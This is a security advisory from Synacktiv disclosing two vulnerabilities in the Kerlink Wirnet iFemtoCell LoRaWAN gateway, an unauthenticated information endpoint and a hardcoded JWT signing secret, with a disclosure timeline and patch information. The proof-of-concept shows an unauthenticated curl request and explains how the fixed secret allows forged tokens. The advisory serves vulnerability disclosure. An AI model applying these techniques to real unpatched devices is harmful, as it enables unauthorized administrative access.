SYNACKTIV
DIGITAL SECURITY

Multiple vulnerabilities in Kerlink Wirnet iFemtoCell

Security advisory

2023-06-28

Antoine Cervoise
Guillaume Jacques

Vulnerabilities description

Kerlink Wirnet iFemtoCell

The Wirnet iFemtoCell-evolution and Wirnet iFemtoCell-evolution range is the ideal LoRaWAN indoor gateway range to support your smart building, smart city or any smart project that requires dedicated deep indoor coverage and/or network densification, providing both unique superior coverage and operational excellence.[1]

The issues

Synacktiv discovered two vulnerabilities in Kerlink KerOS:

- Missing authorization allowing an attacker to get sensitive data.
- Hardcoded JWT key used for authentication.

Affected versions

At the time this report is written, the version 4.0.4_20181031154230 was proven to be affected.

Timeline

Date	Action
2021-11-05	Advisory sent to Kerlink
2021-11-05	Reply from Kerlink, the vulnerabilities will be analyzed
2021-12-03	Reply from Kerlink: the first vulnerability is considered as medium severity and will be integrated into the roadmap. The second issue is critical and will be patched in the next update.
2023-02-13	KerOS version 5.7.2 patches all the vulnerabilities
2023-06-28	Public release

1 https://www.kerlink.com/product/wirnet-ifemtocell/

Technical description and proof-of-concept

1. Unauthorized access

The system's authorization functionality implemented by the application does not prevent an unauthenticated user to gain access restricted resources.

Indeed, the */application/administration/version* resource is accessible to an authenticated user:

```
GET /application/administration/version HTTP/1.1
Host: 10.45.15.111
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzMzOTIzMTh9.54**************************
*************4
Connection: close
Referer: http://10.45.15.111/

HTTP/1.1 200 OK
Content-Type: application/vnd.kerlink.iot-v1+json
Content-Length: 113
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Connection: close
Date: Mon, 04 Oct 2021 13:37:20 GMT
Server: lighttpd/1.4.45

{"platform_type": "ifemtocell", "firmware_version": "4.0.4_20181031154230",
"hardware_serial_number": "4******1"}
```

However, this resource can also be accessed without authentication:

```
$ curl http://10.45.15.111/application/administration/version
{"platform_type": "ifemtocell", "firmware_version": "4.0.4_20181031154230",
"hardware_serial_number": "4******1"}
```

A malicious user could exploit this vulnerability to find the version and the serial number of the board.

If the default password was not changed for SSH access, exploiting this vulnerability allows the attacker to retrieve the SSH *root* password of the antenna.

2. Hardcoded JWT secret key

The web application for antenna administration uses secrets that are defined directly in the source code.

```
root@klk-wifc-******:/usr/lib/python2.7/site-packages/webaw # cat webaw_utils.py
[...]
# Authentification
JWT_SECRET = '[REDACTED]'
JWT_ALGORITHM = 'HS256'
[...]
```

An attacker with access to an antenna could find this secret and use it against all antennas with the same firmware version.

For instance, this is a valid JWT token after authentication

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzMzOTIzMTh9.5**************************
************4
```

The decoded token is the following:

```
Headers = {
  "alg": "HS256",
  "typ": "JWT"
}

Payload = {
  "exp": 1633392318
}

Signature
```

An attacker could therefore easily regenerate a valid token.